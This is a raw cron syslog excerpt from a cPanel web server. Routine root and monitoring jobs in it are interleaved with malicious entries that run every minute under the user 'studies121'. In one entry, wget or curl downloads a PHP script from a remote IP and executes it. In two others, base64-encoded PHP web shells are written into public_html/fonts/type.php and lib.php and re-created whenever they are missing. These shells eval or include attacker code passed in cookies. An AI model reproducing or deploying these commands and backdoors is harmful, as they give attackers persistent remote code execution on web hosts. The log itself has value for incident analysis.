Sep  5 16:49:01 ip-184-168-122-23 CROND[20322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:49:01 ip-184-168-122-23 CROND[20321]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 16:49:01 ip-184-168-122-23 CROND[20323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:50:01 ip-184-168-122-23 CROND[20526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:50:01 ip-184-168-122-23 CROND[20528]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 16:50:01 ip-184-168-122-23 CROND[20529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:50:01 ip-184-168-122-23 CROND[20533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:50:01 ip-184-168-122-23 CROND[20532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:50:01 ip-184-168-122-23 CROND[20536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:50:01 ip-184-168-122-23 CROND[20534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:50:01 ip-184-168-122-23 CROND[20537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:50:01 ip-184-168-122-23 CROND[20535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:51:01 ip-184-168-122-23 CROND[20676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:51:02 ip-184-168-122-23 CROND[20680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:51:02 ip-184-168-122-23 CROND[20679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:51:02 ip-184-168-122-23 CROND[20682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:52:01 ip-184-168-122-23 CROND[20782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:52:01 ip-184-168-122-23 CROND[20786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:52:01 ip-184-168-122-23 CROND[20784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:52:01 ip-184-168-122-23 CROND[20785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:52:01 ip-184-168-122-23 CROND[20787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:53:01 ip-184-168-122-23 CROND[20864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:53:01 ip-184-168-122-23 CROND[20866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:53:01 ip-184-168-122-23 CROND[20865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:53:01 ip-184-168-122-23 CROND[20867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:54:01 ip-184-168-122-23 CROND[20979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:54:01 ip-184-168-122-23 CROND[20981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:54:01 ip-184-168-122-23 CROND[20982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:54:01 ip-184-168-122-23 CROND[20980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:54:01 ip-184-168-122-23 CROND[20984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:55:01 ip-184-168-122-23 CROND[21079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:55:01 ip-184-168-122-23 CROND[21080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:55:01 ip-184-168-122-23 CROND[21078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:55:01 ip-184-168-122-23 CROND[21081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:55:01 ip-184-168-122-23 CROND[21083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:55:01 ip-184-168-122-23 CROND[21084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:56:01 ip-184-168-122-23 CROND[21174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:56:01 ip-184-168-122-23 CROND[21175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:56:01 ip-184-168-122-23 CROND[21176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:56:01 ip-184-168-122-23 CROND[21177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:56:01 ip-184-168-122-23 CROND[21179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:57:01 ip-184-168-122-23 CROND[21263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:57:01 ip-184-168-122-23 CROND[21264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:57:01 ip-184-168-122-23 CROND[21265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:57:01 ip-184-168-122-23 CROND[21266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:58:01 ip-184-168-122-23 CROND[21371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:58:01 ip-184-168-122-23 CROND[21372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:58:01 ip-184-168-122-23 CROND[21373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:58:01 ip-184-168-122-23 CROND[21375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:58:01 ip-184-168-122-23 CROND[21376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:59:01 ip-184-168-122-23 CROND[21533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:59:01 ip-184-168-122-23 CROND[21532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:59:01 ip-184-168-122-23 CROND[21534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:59:01 ip-184-168-122-23 CROND[21535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:00:01 ip-184-168-122-23 CROND[21618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:00:01 ip-184-168-122-23 CROND[21619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:00:01 ip-184-168-122-23 CROND[21622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:00:01 ip-184-168-122-23 CROND[21627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:00:01 ip-184-168-122-23 CROND[21625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:00:01 ip-184-168-122-23 CROND[21626]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:00:01 ip-184-168-122-23 CROND[21624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:00:01 ip-184-168-122-23 CROND[21628]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:01:02 ip-184-168-122-23 CROND[21740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:01:02 ip-184-168-122-23 CROND[21744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:01:02 ip-184-168-122-23 CROND[21742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:01:02 ip-184-168-122-23 CROND[21745]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 17:01:02 ip-184-168-122-23 CROND[21746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:01:02 ip-184-168-122-23 CROND[21743]: (root) CMD (run-parts /etc/cron.hourly)
